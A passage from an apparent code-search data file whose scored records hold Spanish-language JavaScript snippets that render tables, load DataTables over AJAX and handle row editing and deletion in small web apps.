agregarFechas(){\r\n\treturn seleccionados;\r\n}", "title": "" }, { "docid": "bc35ae86a9aabcba460cfc9bfb228304", "score": "0.5747797", "text": "function listarFichas() {\n let json = {};\n json = criterioBusquedaParams();\n defaultConfigDataTable();\n $('#tblFichas').dataTable().fnDestroy();\n $('#tblFichas').DataTable({\n ajax: {\n type: 'POST',\n url: '../FichaServlet',\n dataType: 'json',\n data: {\n accion: 'consultarFichasPorCriterio',\n json: JSON.stringify(json)\n },\n error: function (data) {\n errorMessage(data.responseText);\n }\n },\n processing: true,\n serverSide: true,\n responsive: true,\n iDisplayLength: 20,\n columns: [\n {data: \"item\", className: 'text-bold'},\n {data: \"descripcionCortaTipoDocumento\"},\n {data: \"numeroDocumento\"},\n {data: \"personal\"},\n {data: \"correo\"},\n {data: \"fechaRegistro\", className: 'text-center'},\n {data: \"estilo\", className: 'text-center'},\n {\n data: \"estadoFicha\",\n className: 'text-center',\n render: (data) => {\n let accion;\n if (data === 'PENDIENTE') {\n accion =\n `\n <ul class=\"icons-list\">\n <li class=\"text-primary-800\">\n <a href=\"#\" onclick=\"return false\" class=\"verDetalleFicha\" data-toggle=\"tooltip\" data-placement=\"top\" title=\"VER DETALLE\"><i class=\"icon-eye8\"></i></a>\n </li>\n <li class=\"text-danger-800\">\n <a href=\"#\" onclick=\"return false\" class=\"anularFicha\" data-toggle=\"tooltip\" title=\"ANULAR FICHA\"><i class=\"icon-trash\"></i></a>\n </li>\n </ul>\n `;\n } else if (data === 'REGISTRADO') {\n accion =\n `\n <ul class=\"icons-list\">\n <li class=\"text-primary-800\">\n <a href=\"#\" onclick=\"return false\" class=\"verDetalleFicha\" data-toggle=\"tooltip\" data-placement=\"top\" title=\"VER DETALLE\"><i class=\"icon-eye8\"></i></a>\n </li>\n <li class=\"text-slate-800\">\n <a href=\"#\" onclick=\"return false\" class=\"imprimirFicha\" data-toggle=\"tooltip\" title=\"IMPRIMIR FICHA\"><i class=\"icon-printer2\"></i></a>\n </li>\n </ul>\n `;\n } else if (data === 'COMPLETADO') {\n accion =\n `\n <ul class=\"icons-list\">\n <li class=\"text-primary-800\">\n <a href=\"#\" onclick=\"return false\" class=\"verDetalleFicha\" data-toggle=\"tooltip\" data-placement=\"top\" title=\"VER DETALLE\"><i class=\"icon-eye8\"></i></a>\n </li>\n <li class=\"text-slate-800\">\n <a href=\"#\" onclick=\"return false\" class=\"imprimirFicha\" data-toggle=\"tooltip\" title=\"IMPRIMIR FICHA\"><i class=\"icon-printer2\"></i></a>\n </li>\n <li class=\"text-slate-800\">\n <a href=\"#\" onclick=\"return false\" class=\"verDetalleFichaCompletado\" data-toggle=\"tooltip\" title=\"VER DETALLE FICHA\"><i class=\"fa fa-file-text-o fa-lg\"></i></a>\n </li>\n </ul>\n `;\n } else if (data === 'FICHA ANULADA') {\n accion =\n `\n <ul class=\"icons-list\">\n <li class=\"text-primary-800\">\n <a href=\"#\" onclick=\"return false\" class=\"verDetalleFicha\" data-toggle=\"tooltip\" data-placement=\"top\" title=\"VER DETALLE\"><i class=\"icon-eye8\"></i></a>\n </li>\n <li class=\"text-blue-800\">\n <a href=\"#\" onclick=\"return false\" class=\"verObservacion\" data-toggle=\"tooltip\" data-placement=\"top\" title=\"VER OBSERVACION\"><i class=\"icon-info22\"></i></a>\n </li>\n </ul>\n `;\n } else {\n accion =\n `\n <ul class=\"icons-list\">\n <li class=\"text-primary-800\">\n <a href=\"#\" onclick=\"return false\" class=\"verDetalleFicha\" data-toggle=\"tooltip\" data-placement=\"top\" title=\"VER DETALLE\"><i class=\"icon-eye8\"></i></a>\n </li>\n </ul>\n `;\n }\n return accion;\n }\n }\n ],\n initComplete: () => {\n $('.verDetalleFicha, .anularFicha, .verObservacion, .imprimirFicha, .verDetalleFichaCompletado').tooltip();\n }\n });\n}", "title": "" }, { "docid": "683bb3e970a18d21110514bc2c5ecdf3", "score": "0.57476217", "text": "function Mostrar(){ \r\nreturn alumno; \r\n }", "title": "" }, { "docid": "6baeddfc09afa2fc68e17aa66ad7b6c4", "score": "0.57471234", "text": "function mostrar(){\n\n codigo_alumno = $(\"#alumno\").val().substring(0,8);\n $.ajax({\n data:{ \n codigo: codigo_alumno \n },\n type:\"POST\",\n url: url_ingreso_alumno,\n dataType: \"json\",\n }).done(function(data,textStatus,jqXHR){ \n var lista = data.lista;\n $(\".table\").html(\"\")\n // genera el cuerpo de la tabla\n $.each(lista, function(ind, elem){\n $('<tr>'+\n '<td>'+elem.fecha+'</td>'+ \n '</tr>').appendTo($(\".table\")); \n }); \n })\n}", "title": "" }, { "docid": "058f7a45651d48116453ce80aa1ae834", "score": "0.5745187", "text": "function limpiarContenidoTabla () {\n\n \tlet contenedorResultado = document.querySelector(\"#resultado\");\n \t\n \t// limpiar el contenido de la tabla \n \twhile (contenedorResultado.firstChild) {\n\t\tcontenedorResultado.removeChild(contenedorResultado.firstChild);\n\t}\n \n }", "title": "" }, { "docid": "2a390c583dfffeee62596c719f6b396b", "score": "0.5744044", "text": "function mostrarTablaVerEstadoBeca(){\r\n\r\n var tabla = document.getElementById(\"tabla-ver-estado-beca\");\r\n tabla.innerHTML = \"\";\r\n var cuerpoTabla = document.createElement(\"tbody\");\r\n\r\n if(usuarios[idUsuarioActual].solicitudBeca.aprobada){\r\n usuarios[idUsuarioActual].beca = true;\r\n usuarios[idUsuarioActual].fuenteEstudio = \"Beca Excelencia\";\r\n }\r\n\r\n if(usuarios[idUsuarioActual].beca){\r\n\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textCelda = document.createTextNode(\"Fecha Solicitud\");\r\n celda.appendChild(textCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"th\");\r\n var textCelda = document.createTextNode(\"Cuatrimestre Inicio\");\r\n celda.appendChild(textCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"th\");\r\n var textCelda = document.createTextNode(\"Fuente de Estudio\");\r\n celda.appendChild(textCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"th\");\r\n var textCelda = document.createTextNode(\"Recinto\");\r\n celda.appendChild(textCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"th\");\r\n var textCelda = document.createTextNode(\"Estado\");\r\n celda.appendChild(textCelda);\r\n fila.appendChild(celda);\r\n\r\n cuerpoTabla.appendChild(fila);\r\n\r\n\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"td\");\r\n var textCelda = document.createTextNode(usuarios[idUsuarioActual].solicitudBeca.fechaSolicitud);\r\n celda.appendChild(textCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"td\");\r\n var textCelda = document.createTextNode(usuarios[idUsuarioActual].solicitudBeca.cuatrimestreInicio);\r\n celda.appendChild(textCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"td\");\r\n var textCelda = document.createTextNode(usuarios[idUsuarioActual].fuenteEstudio);\r\n celda.appendChild(textCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"td\");\r\n var textCelda = document.createTextNode(\"La Caleta, Boca Chica\");\r\n celda.appendChild(textCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"td\");\r\n var textCelda = document.createTextNode(\"Activa\");\r\n celda.style.backgroundColor = \"#00FF00\";\r\n celda.appendChild(textCelda);\r\n fila.appendChild(celda);\r\n\r\n cuerpoTabla.appendChild(fila);\r\n\r\n\r\n }else{\r\n\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"td\");\r\n var textCelda = document.createTextNode(\"No dispone de ninguna Beca en estos momentos\");\r\n celda.appendChild(textCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"td\");\r\n var textCelda = document.createTextNode(\"Inactiva\");\r\n celda.style.backgroundColor = \"tomato\";\r\n celda.appendChild(textCelda);\r\n fila.appendChild(celda);\r\n\r\n\r\n }\r\n\r\n \r\n tabla.appendChild(cuerpoTabla);\r\n\r\n}", "title": "" }, { "docid": "d8f4464c75703cecb1b8d27b94d5832e", "score": "0.5735614", "text": "function tablaactaretiro(idpersona){\n\t\t$('#tablaactaretiro').dataTable().fnDestroy();\t\t \t\n\t\t$('#tablaactaretiro').DataTable({\n\n\t\t\t//PARA EXPORTAR\n\t\t\tdom: \"Bfrtip\",\n\t\t\tbuttons: [{\n\t\t\t\textend: \"copy\",\n\t\t\t\tclassName: \"btn-sm\"\n\t\t\t}, {\n\t\t\t\textend: \"csv\",\n\t\t\t\tclassName: \"btn-sm\"\n\t\t\t}, {\n\t\t\t\textend: \"excel\",\n\t\t\t\tclassName: \"btn-sm\"\n\t\t\t}, {\n\t\t\t\textend: \"pdf\",\n\t\t\t\tclassName: \"btn-sm\"\n\t\t\t}, {\n\t\t\t\textend: \"print\",\n\t\t\t\tclassName: \"btn-sm\"\n\t\t\t}],\n\t\t\tresponsive: !0,\n\t\t\t\n\t\t\t\"order\" : [ [ 1, \"asc\" ] ],\n\t\t\t\"lengthMenu\": [20],\n\t\t\t\"ajax\" : \"../acta/getactivosretiro/\"+idpersona,\n\t\t\t\"columns\" : [{\n\t\t\t\t\"data\" : \"IDACTIVO\"\n\t\t\t},{\n\t\t\t\t\"data\" : \"NOMBRE\"\n\t\t\t},{\n\t\t\t\t\"data\" : \"MODELO\"\n\t\t\t},{\n\t\t\t\t\"data\" : \"MARCA\"\n\t\t\t},{\n\t\t\t\t\"data\" : \"SERIE\"\n\t\t\t},{\n\t\t\t\t\"data\" : \"CAPACIDAD\"\n\t\t\t},{\n\t\t\t\t\"data\" : \"ESTADO\"\n\t\t\t},{\n\t\t\t\t\"data\" : \"TIPO\"\n\t\t\t},{\n\t\t\t\t\"data\" : \"DESCRIPCION\"\n\t\t\t},{\n\t\t\t\t\"data\" : \"MOTIVO\"\n\t\t\t},\t\t\n\t\t\t],\n\t\t\t\"language\": {\n\t\t\t\t\"url\": \"/ugel06_dev/public/cdn/datatable.spanish.lang\"\n\t\t\t} \n\t\t});\t\n\t}", "title": "" }, { "docid": "80a63271cc38cc148ba5c974b7dcf98d", "score": "0.5735508", "text": "function monstrarDatos() {\n let elemento = document.createElement(\"tr\");\n elemento.innerHTML = `\n <th>Nombres</th><th>Horas</th><th>Turno</th><th>Salario</th>\n `;\n tabla.appendChild(elemento);\n for (let i = 0; i < nombres.length; i++) {\n let elemento = document.createElement(\"tr\");\n elemento.innerHTML = `\n <td>${nombres[i]}</td><td>${horas[i]}</td><td>${turnos[i]}</td><td>${salarios[i]}€</td>\n `;\n tabla.appendChild(elemento);\n }\n elemento = document.createElement(\"tr\");\n elemento.innerHTML = `\n <th colspan=\"2\">Total Salarios</th><td colspan=\"2\">${totalSalarios}€</td>\n `;\n tabla.appendChild(elemento);\n}", "title": "" }, { "docid": "104c80f516965c1738adb9947b560ab1", "score": "0.5730917", "text": "function cargarTablaSeccion(tabla) {\n //INICIALMENTE REMOVEMOS LAS CELDAS DE LA CABCERA Y LAS FILAS DE LA TABLA EXISTENTES\n fila_head=document.getElementById('div_head_tr_items')\n while (fila_head.firstChild) { fila_head.removeChild(fila_head.firstChild); }\n body=document.getElementById('div_tbody');\n while (body.firstChild) { body.removeChild(body.firstChild); }\n var parametros = { 'option' : 'cargar_seccion', 'nom_tabla' : tabla };\n $.ajax({ url: 'sku_seccion_crud.php', type: 'post', dataType: 'json', data: parametros,\n success : function(data) {\n if(!!data.errors){\n console.log(data.errors);\n }else {\n //creamos las celdas para las columnas\n data.cabeceras.forEach(function(item,index){\n div_celda=document.createElement('div');\n if(item==\"Nombre\")\n div_celda.className=\"th col\";\n else\n div_celda.className=\"th col-1 col-lg-1\";\n div_celda.innerHTML=item;\n fila_head.appendChild(div_celda);\n });\n fila_head.insertAdjacentHTML('beforeend','<div class=\"th col-1 col-lg-1\"></div><div class=\"th col-1 col-lg-1\"></div><div class=\"th col-1 col-lg-1\"></div><div class=\"\">&nbsp&nbsp&nbsp</div>')\n\n //ahora crearemos las filas con celdas para el tbody_div\n data.filas.forEach(function(item,index){\n div_fila=document.createElement('div');\n div_fila.className=\"row tr\";\n !!item['Codigo']? codigo=item['Codigo'] : codigo=item['Nombre'];\n for (var index in item ) {\n div_celda=document.createElement('div');\n if(index==\"Codigo\")\n div_celda.className=\"td col-1 col-lg-1 col not_editable\";\n else if(index==\"Nombre\")\n div_celda.className=\"td col editable\";\n else\n div_celda.className=\"td col-1 col-lg-1 editable\";\n div_celda.id=codigo+'_'+index;\n div_celda.innerHTML=item[index];\n div_fila.appendChild(div_celda);\n }\n celdas_img='<div class=\"td col-1 col-lg-1\"><img src=\"../shared/img/save.png\" alt=\"\" disabled class=\"icon_fila icon_save disabled\" id=\"img_save_'+codigo+'\"></div>';\n celdas_img+='<div class=\"td col-1 col-lg-1\"><img src=\"../shared/img/edit.png\" alt=\"\" class=\"icon_fila icon_edit\" id=\"img_edit_'+codigo+'\"><img src=\"../shared/img/edit_cancel.png\" alt=\"\" class=\"icon_fila icon_edit_cancel invisible\" id=\"\"></div>';\n celdas_img+='<div class=\"td col-1 col-lg-1\"><img src=\"../shared/img/delete.png\" alt=\"\" class=\"icon_fila icon_delete\" id=\"img_delete_'+codigo+'\"></div>';\n div_fila.insertAdjacentHTML('beforeend',celdas_img);\n body.appendChild(div_fila);\n })\n // *** CREAMOS LOS EVENTOS PARA LOS ICONOS CREADOS ***/\n var contenido_original=[];\n var contenido_actualizar=[];\n var contenido_guardar=[];\n var contenido_parametro=[];\n\n document.querySelectorAll(\".icon_save\").forEach(elemento => elemento.style.pointerEvents = \"none\");//desactivamos el evento click\n // ################### EVENTO CLICK PARA LOS ICON_SAVE ##############################\n document.querySelectorAll(\".icon_save\").forEach(elemento => elemento.onclick = function() {\n this.parentNode.parentNode.querySelectorAll('.editable').forEach(function(el){ //RECORREMOS TODAS LAS CELDAS QUE SON EDITABLES\n keycita=(el.id).slice((el.id).indexOf(\"_\")+1).toLocaleLowerCase();\n contenido_actualizar[keycita] = el.firstChild.value.toLocaleUpperCase();\n });\n if(contenido_actualizar['Nombre']!=\"\"){\n if(confirm(\"¿Desea realmente continuar modificando?\")) {\n codigo = (this.id).slice(9);\n updateRegistry(codigo, contenido_actualizar, function (resultado) {\n if(resultado===true){\n for (var index in contenido_actualizar)\n contenido_original[index] = contenido_actualizar[index]; //cargamos el contenido actualizado al contenido original \n let img_save=document.getElementById('img_save_'+codigo);\n img_save.style.pointerEvents = \"none\";\n img_save.classList.toggle(\"disabled\");\n img_save.parentNode.nextSibling.lastChild.classList.toggle('invisible'); //hacemos visible los demas iconos de esta fila\n img_save.parentNode.nextSibling.firstChild.classList.toggle('invisible'); //hacemos visible los demas iconos de esta fila\n img_save.parentNode.parentNode.querySelectorAll('.editable').forEach(function (el) { //RECORREMOS TODAS LAS CELDAS QUE SON EDITABLES\n keycita = (el.id).slice((el.id).indexOf(\"_\") + 1).toLocaleLowerCase(); //obtenemos el id de las celdas editables para agregar a esta celda, el valor actualizado correspondiente\n el.innerHTML = contenido_original[keycita]; //cargamos el contenido origignal, actualizado a las celdas\n });\n contenido_original.length = 0; //vaciamos este arreglo\n contenido_actualizar.length = 0; //vaciamos este arreglo\n getAllNodesEqualType(img_save.parentNode.nextSibling.firstChild, 2, '.icon_edit, .icon_delete').forEach(function (ele) {\n ele.style.pointerEvents = \"auto\";\n ele.classList.toggle(\"disabled\");\n });\n img_save.parentNode.parentNode.classList.toggle(\"editing\"); // quitamos esta clase a la fila para devolverle el fondo normal\n document.getElementById(\"button_nuevo_seccion\").style.pointerEvents = \"auto\"; // desactivamos el evento click en el boton nuevo\n document.getElementById(\"button_nuevo_seccion\").classList.toggle(\"disabled\"); // deshabilitamos el boton nuevo\n alert(\"REGISTRO ACTUALIZADO\");\n }else \n alert(\"NO SE PUDO ACTUALIZAR\"); \n //referenciamos a el elemento img_save que produde este evento guardar\n });\n }\n }\n else {\n alert('Campo Nombre o Codigo son necesarios para actualizar');\n }\n });\n // ################### EVENTO CLICK PARA LOS ICON_EDIT ##############################\n document.querySelectorAll(\".icon_edit\").forEach(elemento => elemento.onclick = function() {\n contenido_original.length=0;\n contenido_actualizar.length=0;\n this.classList.toggle(\"invisible\");//ocultamos el icon_edit\n this.nextSibling.classList.toggle(\"invisible\");//mostramos el icon_edit_cancel\n this.parentNode.parentNode.classList.toggle(\"editing\"); // agregamos esta clase a la fila para cambiarle el fondo\n this.parentNode.parentNode.querySelectorAll('.editable').forEach(function(el){ //RECORREMOS TODAS LAS CELDAS QUE SON EDITABLES\n keycita=(el.id).slice((el.id).indexOf(\"_\")+1);\n contenido_original[keycita]=el.innerHTML;\n el.innerHTML=\"<input type='text' value='\"+contenido_original[keycita]+\"'/>\";\n });\n this.parentNode.previousSibling.firstChild.classList.toggle(\"disabled\"); // QUITAMOS LA CLASE disabled al icon_save\n this.parentNode.previousSibling.firstChild.style.pointerEvents = \"auto\"; // activamos el evento click en el icon_save\n getAllNodesEqualType(this,2,'.icon_edit, .icon_delete').forEach(function(ele) {\n ele.style.pointerEvents = \"none\";\n ele.classList.toggle(\"disabled\");\n })\n document.getElementById(\"button_nuevo_seccion\").style.pointerEvents = \"none\"; // desactivamos el evento click en el boton nuevo\n document.getElementById(\"button_nuevo_seccion\").classList.toggle(\"disabled\"); // deshabilitamos el boton nuevo\n\n });\n // ################### EVENTO CLICK PARA LOS ICON_EDIT_CANCEL ########################\n document.querySelectorAll(\".icon_edit_cancel\").forEach(elemento => elemento.onclick = function() {\n this.parentNode.parentNode.querySelectorAll('.editable').forEach(function(el){\n keycita=(el.id).slice((el.id).indexOf(\"_\")+1)\n el.innerHTML=contenido_original[keycita];\n });\n this.parentNode.parentNode.classList.toggle('editing'); // le quitamos a la fila la clase qe le cambia el background-color\n this.classList.toggle(\"invisible\"); // ocultamos este icon_edit_cancel\n this.previousSibling.classList.toggle('invisible'); // mostramos icon_edit\n this.parentNode.previousSibling.firstChild.classList.toggle(\"disabled\"); // agregamos clas disabled del icon_save\n this.parentNode.previousSibling.firstChild.style.pointerEvents = \"none\"; // bloqueamos el evento click del icon_save\n getAllNodesEqualType(this.previousSibling,2,'.icon_edit, .icon_delete').forEach(function(ele) {\n ele.style.pointerEvents = \"auto\";\n ele.classList.toggle(\"disabled\");\n })\n document.getElementById(\"button_nuevo_seccion\").style.pointerEvents = \"auto\"; // desactivamos el evento click en el boton nuevo\n document.getElementById(\"button_nuevo_seccion\").classList.toggle(\"disabled\"); // deshabilitamos el boton nuevo\n\n });\n // ################### EVENTO CLICK PARA LOS ICON_DELETE ##############################\n document.querySelectorAll(\".icon_delete\").forEach(elemento => elemento.onclick = function() {\n codigo=(this.id).slice(11);\n if(confirm(\"DESEA REALMENTE ELIMINAR ESTE REGISTRO\")){\n deleteRegistry(codigo);\n }\n });\n // ################### EVENTO CLICK PARA LOS BUTTON_NUEVO ##############################\n document.getElementById(\"button_nuevo_seccion\").onclick = function(){\n document.getElementById(\"button_nuevo_seccion\").style.pointerEvents = \"none\"; // desactivamos el evento click en el boton nuevo\n document.getElementById(\"button_nuevo_seccion\").classList.toggle(\"disabled\"); // deshabilitamos el boton nuevo\n body=document.getElementById(\"div_tbody\");\n fila_modelo=document.createElement(\"div\");\n fila_modelo.className=\"row tr\";\n !!data.cabeceras['Codigo']? codigo=data.cabeceras['Codigo'] : codigo=data.cabeceras['Nombre']; //aunque ahora todas las tablas tienen codigo\n (data.cabeceras).forEach(function(item,index){\n div_celda=document.createElement(\"div\");\n if(item==\"Codigo\")\n div_celda.className=\"td col-1 col-lg-1 col not_editable\";\n else {\n if(item==\"Nombre\")\n div_celda.className=\"td col editable\";\n else\n div_celda.className=\"td col-1 col-lg-1 editable\";\n div_celda.innerHTML=\"<input type='text' value=''/>\";\n }\n div_celda.id='N_'+item;\n fila_modelo.appendChild(div_celda);\n })\n celdas_img='<div class=\"td col-1 col-lg-1\"><img src=\"../shared/img/save.png\" alt=\"\" class=\"icon_fila icon_save\" id=\"img_save_N\"></div>';\n celdas_img+='<div class=\"td col-1 col-lg-1\"></div>';\n celdas_img+='<div class=\"td col-1 col-lg-1\"><img src=\"../shared/img/cancel.ico\" alt=\"\" class=\"icon_fila\" id=\"img_cancel_N\"></div>';\n fila_modelo.insertAdjacentHTML('beforeend',celdas_img);\n body.insertBefore(fila_modelo,body.firstChild);\n body.querySelector('.editable').firstChild.focus();\n /***** agregamos el evento click al icono guardar y cancel de esta fila nueva ****/\n document.getElementById(\"img_save_N\").onclick = function(){\n this.parentNode.parentNode.querySelectorAll('.editable').forEach(function (el) { //RECORREMOS TODAS LAS CELDAS QUE SON EDITABLES\n keycita = (el.id).slice((el.id).indexOf(\"_\") + 1).toLocaleLowerCase();;\n contenido_guardar[keycita] = el.firstChild.value.toLocaleUpperCase();\n });\n if (contenido_guardar['Nombre'] != \"\") {\n if (confirm(\"¿Desea realmente ingresar este NUEVO VALOR?\")) {\n createRegistry(contenido_guardar);\n }\n } else {\n alert('Campo Nombre es necesario para crear un nuevo valor');\n }\n \n }\n document.getElementById('img_cancel_N').onclick=function(){\n let fila_cancel=document.getElementById('img_cancel_N').parentNode.parentNode\n document.getElementById(\"div_tbody\").removeChild(fila_cancel);\n document.getElementById(\"button_nuevo_seccion\").style.pointerEvents = \"auto\"; // desactivamos el evento click en el boton nuevo\n document.getElementById(\"button_nuevo_seccion\").classList.toggle(\"disabled\"); // deshabilitamos el boton nuevo\n }\n }\n }\n },\n error: function() {\n console.log(\"error\");\n }\n });\n}", "title": "" }, { "docid": "23c7f848e4e135811a5bed8dda6856cc", "score": "0.572913", "text": "function listar() {\n\n $('#txtSearch').on('input', function () {\n tabla.search($('#txtSearch').val()).draw();\n });\n\n tabla = $('#tbllistado').dataTable({\n \"aProcessing\": true, //Activamos el procesamiento del datatables\n \"aServerSide\": true, //Paginación y filtrado realizados por el servidor\n dom: 'rtip', //Definimos los elementos del control de tabla\n \"language\": {\n \"url\": \"../public/css/Spanish.json\"\n },\n buttons: [\n 'copyHtml5',\n 'excelHtml5',\n 'csvHtml5',\n 'pdf'\n ],\n \"ajax\": {\n url: '../ajax/sub_categoria.php?op=listar',\n type: \"get\",\n dataType: \"json\",\n error: function (e) {\n console.log(e.responseText);\n }\n },\n \"bDestroy\": true,\n \"iDisplayLength\": 5, //Paginación\n \"order\": [\n [0, \"desc\"]\n ] //Ordenar (columna,orden)\n }).DataTable();\n}", "title": "" }, { "docid": "507ed5d1fa4d334f3bdcd66aa909461c", "score": "0.57243556", "text": "function genTablaEstablecimiento(array, id) \n{\n let tabla = document.createElement(\"TABLE\");\n tabla.id = id;\n tabla.classList.add(\"table\");\n let thead = tabla.createTHead();\n let fila = thead.insertRow(-1);\n array.forEach(titulo => {\n th = fila.insertCell(-1);\n th.textContent = titulo;\n });\n tabla.addEventListener(\"click\", e => {\n let nifEstablecimiento;\n if (e.target.tagName == \"BUTTON\") \n {\n nifEstablecimiento = e.target.parentNode.parentNode.cells[0].textContent;\n miPasteleria.delEstablecimiento(nifEstablecimiento);\n e.target.parentNode.parentNode.remove();\n }\n });\n tabla.appendChild(document.createElement(\"TBODY\"));\n return tabla;\n}", "title": "" }, { "docid": "575c0c48add7636c0960353d05d7baef", "score": "0.5722257", "text": "function mostrarAgencia(data){\n //para los que no son banco\n let arrayKey = ['Nombre','Direccion','Fecha_Nac']; //campos html\n let arrayKeyRow = ['NOMBRE','DIRECCION','FECHA_APERTURA']; //datos en la tabla\n arrayKey.forEach(\n (key,count)=>{\n var elementDiv=document.getElementById('_input'+key);\n if(elementDiv!=null){\n elementDiv.value=data[arrayKeyRow[count]];\n }\n }\n );\n\n //para seleccionar el banco\n var banco = document.getElementById(\"inputbanco\");\n banco.selectedIndex = data['BANCO_COD_LOTE'];\n}", "title": "" }, { "docid": "686365258b4e475fc06eca2c1706766f", "score": "0.57214856", "text": "renderTable(){\n const itemsTable = [\"ID\", \"Descrição\", \"Situação\", \"Ação\"];\n this.controler.renderTable(itemsTable);\n }", "title": "" }, { "docid": "1a89bb7804fa1801413bbaf7a7bc97da", "score": "0.57161576", "text": "function tablaVehiculos(){\n var oTabla=document.createElement(\"Table\");\n\n var fila = document.createElement(\"tr\");\n var celda = document.createElement(\"th\");\n var oTexto=document.createTextNode(\"Matricula\");\n celda.appendChild(oTexto);\n fila.appendChild(celda);\n var celda2 = document.createElement(\"th\");\n var oTexto2=document.createTextNode(\"Marca\");\n celda2.appendChild(oTexto2);\n fila.appendChild(celda2);\n var celda3 = document.createElement(\"th\");\n var oTexto3=document.createTextNode(\"Modelo\");\n celda3.appendChild(oTexto3);\n fila.appendChild(celda3);\n var celda4 = document.createElement(\"th\");\n var oTexto4=document.createTextNode(\"Tipo\");\n celda4.appendChild(oTexto4);\n fila.appendChild(celda4);\n\n oTabla.appendChild(fila);\n\n for(var i=0;i<autoescuela.vehiculos.length;i++){\n oTabla.appendChild(autoescuela.vehiculos[i].fila());\n }\n return oTabla;\n}", "title": "" }, { "docid": "5f23431050e7e3424647fa01e6870e87", "score": "0.57138366", "text": "ngOnInit() {\n //VERIFICA SE A ROTA TEM PARAMETRO E EDICAO (FAZ LOAD DOS DADOS DO REGISTRO SELECIONADO E ITENS), SENAO E INSERCAO \n let id = this.router.snapshot.paramMap.get('id');\n if (id) {\n this.apiService.getpermissoes_tabelasId(id).subscribe(data => {\n data[0].status_reg = 'U';\n this.apiService.formData = data[0];\n console.log('pai', data[0]);\n this.apiService.formData.status_reg = 'U';\n this.apiService.Itemspermissoes_campos = data[0].Itemspermissoes_campos;\n console.log('itens', data[0].Itemspermissoes_campos);\n });\n }\n else {\n this.resetForm();\n }\n //LOAD DOS ARRAY CHAVE ESTRANGEIRA \n this.arrtabelas = this.apitabelas.gettabelas().pipe(Object(rxjs_operators__WEBPACK_IMPORTED_MODULE_4__[\"map\"])(dados => {\n console.log(dados);\n return dados;\n }));\n }", "title": "" }, { "docid": "17fd56c46a10bb6d9087674d5f98bccd", "score": "0.5709852", "text": "function formatearBusqueda(ArrayAlumn){\r\n\tif(document.getElementById(\"Listas\").hasChildNodes()){\r\n\t\tdocument.getElementById(\"Listas\").removeChild(document.getElementById(\"table\"));\r\n\t}\r\n\r\n\tvar tabla=document.createElement('div');\r\n\ttabla.setAttribute(\"id\", \"table\");\r\n\r\n\tif(ArrayAlumn[0]!==null){\r\n\t\tamo=document.createElement('div');\r\n\t\tamo.setAttribute('class','tituloListas');\r\n\t\tspanamo=document.createElement('span');\r\n\t\tspanamo.innerHTML=\"Amonestaciones\";\r\n\t\tamo.appendChild(spanamo);\r\n\r\n\t\ttabla.appendChild(amo);\r\n\r\n\t\tfor(var i in ArrayAlumn[0]){\r\n\t\t\tdiv=document.createElement('div');\r\n\t\t\tdiv.setAttribute('class','itemLista');\r\n\t\t\tdivImg=document.createElement('div');\r\n\t\t\tdivImg.setAttribute('class','person');\r\n\t\t\timg=document.createElement('img');\r\n\t\t\timg.setAttribute('src','imagenes/person.png');\r\n\t\t\tdivImg.appendChild(img);\r\n\t\t\tspan=document.createElement('span');\r\n\t\t\tspan.setAttribute('class','span');\r\n\t\t\tspan.innerHTML=\"<b>DNI:</b> \"+ArrayAlumn[0][i][\"AMO_DNI\"]+\" <br><b>Nombre:</b> \"+ArrayAlumn[0][i][\"AMO_NOMBRE\"]+\" \"+ArrayAlumn[0][i][\"AMO_APELLIDOS\"]+\" <br><b>Curso:</b> \"+ArrayAlumn[0][i][\"AMO_CURSO\"]+\" <b>Cantidad:</b> \"+ArrayAlumn[0][i][\"CUENTA\"];\r\n\t\t\r\n\t\t\tdiv.appendChild(divImg);\r\n\t\t\tdiv.appendChild(span);\r\n\r\n\t\t\ttabla.appendChild(div);\r\n\t\t}\r\n\t}\r\n\r\n\tif(ArrayAlumn[1]!==null){\r\n\t\texp=document.createElement('div');\r\n\t\texp.setAttribute('class','tituloListas');\r\n\t\tspanexp=document.createElement('span');\r\n\t\tspanexp.innerHTML=\"Expulsiones\";\r\n\t\texp.appendChild(spanexp);\r\n\r\n\t\ttabla.appendChild(exp);\r\n\t\r\n\t\tfor(var i in ArrayAlumn[1]){\r\n\t\t\tdiv=document.createElement('div');\r\n\t\t\tdiv.setAttribute('class','itemLista');\r\n\t\t\tdivImg=document.createElement('div');\r\n\t\t\tdivImg.setAttribute('class','person');\r\n\t\t\timg=document.createElement('img');\r\n\t\t\timg.setAttribute('src','imagenes/person.png');\r\n\t\t\tdivImg.appendChild(img);\r\n\t\t\tspan=document.createElement('span');\r\n\t\t\tspan.setAttribute('class','span');\r\n\t\t\tspan.innerHTML=\"<b>DNI:</b> \"+ArrayAlumn[1][i][\"EXP_DNI\"]+\" <br><b>Nombre:</b> \"+ArrayAlumn[1][i][\"EXP_NOMBRE\"]+\" \"+ArrayAlumn[1][i][\"EXP_APELLIDOS\"]+\" <br><b>Curso:</b> \"+ArrayAlumn[1][i][\"EXP_CURSO\"]+\" <b>Cantidad:</b> \"+ArrayAlumn[1][i][\"CUENTA\"];\r\n\r\n\t\t\tdiv.appendChild(divImg);\r\n\t\t\tdiv.appendChild(span);\r\n\r\n\t\t\ttabla.appendChild(div);\r\n\t\t}\r\n\t}\r\n\r\n\tdocument.getElementById(\"Listas\").appendChild(tabla);\r\n\tdocument.getElementById(\"contentPrint\").style.display=\"block\";\r\n}", "title": "" }, { "docid": "7f041cfd9c5769ac7a0ace88a2c3fca4", "score": "0.57072085", "text": "function mostrarTablaInformacionUsuario(){\r\n\r\n var tbl = document.getElementById(\"tabla-informacion-usuario\");\r\n\r\n // borrando el contenido de la tabla si existe para que no se repital\r\n tbl.innerHTML = \"\";\r\n\r\n var tblBody = document.createElement(\"tbody\"); \r\n\r\n var 